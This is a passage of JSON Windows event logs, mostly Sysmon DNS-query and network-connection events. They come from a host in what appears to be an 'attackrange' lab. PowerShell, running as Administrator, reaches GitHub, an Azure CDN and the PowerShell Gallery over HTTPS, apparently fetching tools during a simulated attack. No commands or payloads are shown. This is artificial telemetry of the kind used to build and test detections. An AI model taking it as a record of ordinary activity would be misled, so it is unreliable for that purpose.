11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4686,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.265\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nQueryName: raw.githubusercontent.com\r\nQueryStatus: 0\r\nQueryResults: type: 5 github.map.fastly.net;::ffff:151.101.112.133;\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.265","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","QueryName":"raw.githubusercontent.com","QueryStatus":"0","QueryResults":"type: 5 github.map.fastly.net;::ffff:151.101.112.133;","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4687,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.752\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nQueryName: github.com\r\nQueryStatus: 0\r\nQueryResults: ::ffff:140.82.118.4;\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.752","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","QueryName":"github.com","QueryStatus":"0","QueryResults":"::ffff:140.82.118.4;","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76846,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Update Orchestrator Service for Windows Update service entered the stopped state.","param1":"Update Orchestrator Service for Windows Update","param2":"stopped","EventReceivedTime":"2020-08-07 11:55:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4688,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:45.035\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51442\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 140.82.113.10\r\nDestinationHostname: lb-140-82-113-10-iad.github.com\r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:45.035","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51442","DestinationIsIpv6":"false","DestinationIp":"140.82.113.10","DestinationHostname":"lb-140-82-113-10-iad.github.com","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4689,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.950\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nQueryName: codeload.github.com\r\nQueryStatus: 0\r\nQueryResults: ::ffff:140.82.113.10;\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.950","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","QueryName":"codeload.github.com","QueryStatus":"0","QueryResults":"::ffff:140.82.113.10;","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","EventReceivedTime":"2020-08-07 11:55:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4690,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.533\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51443\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 104.74.143.169\r\nDestinationHostname: a104-74-143-169.deploy.static.akamaitechnologies.com\r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.533","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51443","DestinationIsIpv6":"false","DestinationIp":"104.74.143.169","DestinationHostname":"a104-74-143-169.deploy.static.akamaitechnologies.com","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4691,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.547\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51444\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 152.199.19.161\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.547","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51444","DestinationIsIpv6":"false","DestinationIp":"152.199.19.161","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4692,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.546\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nQueryName: onegetcdn.azureedge.net\r\nQueryStatus: 0\r\nQueryResults: type: 5 onegetcdn.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.546","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","QueryName":"onegetcdn.azureedge.net","QueryStatus":"0","QueryResults":"type: 5 onegetcdn.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","EventReceivedTime":"2020-08-07 11:55:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4693,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:48.507\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nQueryName: www.powershellgallery.com\r\nQueryStatus: 0\r\nQueryResults: type: 5 powershellgallerytrafficmanager.trafficmanager.net;type: 5 psg-prod-centralus.cloudapp.net;::ffff:168.61.186.235;\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:48.507","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","QueryName":"www.powershellgallery.com","QueryStatus":"0","QueryResults":"type: 5 powershellgallerytrafficmanager.trafficmanager.net;type: 5 psg-prod-centralus.cloudapp.net;::ffff:168.61.186.235;","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","EventReceivedTime":"2020-08-07 11:55:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4694,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:48.472\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51445\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 104.74.143.169\r\nDestinationHostname: a104-74-143-169.deploy.static.akamaitechnologies.com\r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:48.472","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51445","DestinationIsIpv6":"false","DestinationIp":"104.74.143.169","DestinationHostname":"a104-74-143-169.deploy.static.akamaitechnologies.com","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4695,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:48.624\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51446\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 168.61.186.235\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:48.624","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51446","DestinationIsIpv6":"false","DestinationIp":"168.61.186.235","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4696,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:58.829\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51449\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 104.74.143.169\r\nDestinationHostname: a104-74-143-169.deploy.static.akamaitechnologies.com\r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:58.829","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51449","DestinationIsIpv6":"false","DestinationIp":"104.74.143.169","DestinationHostname":"a104-74-143-169.deploy.static.akamaitechnologies.com","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4697,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:58.960\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51450\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 168.61.186.235\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:58.960","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51450","DestinationIsIpv6":"false","DestinationIp":"168.61.186.235","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4698,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:59.472\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51451\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 104.74.143.169\r\nDestinationHostname: a104-74-143-169.deploy.static.akamaitechnologies.com\r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:59.472","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51451","DestinationIsIpv6":"false","DestinationIp":"104.74.143.169","DestinationHostname":"a104-74-143-169.deploy.static.akamaitechnologies.com","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4699,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:59.615\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51452\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 168.61.186.235\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:59.615","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51452","DestinationIsIpv6":"false","DestinationIp":"168.61.186.235","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4700,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:00.396\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51453\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 168.61.186.235\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:56:00.396","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51453","DestinationIsIpv6":"false","DestinationIp":"168.61.186.235","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4701,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:01.259\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51455\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 168.61.186.235\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:56:01.259","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51455","DestinationIsIpv6":"false","DestinationIp":"168.61.186.235","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4702,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 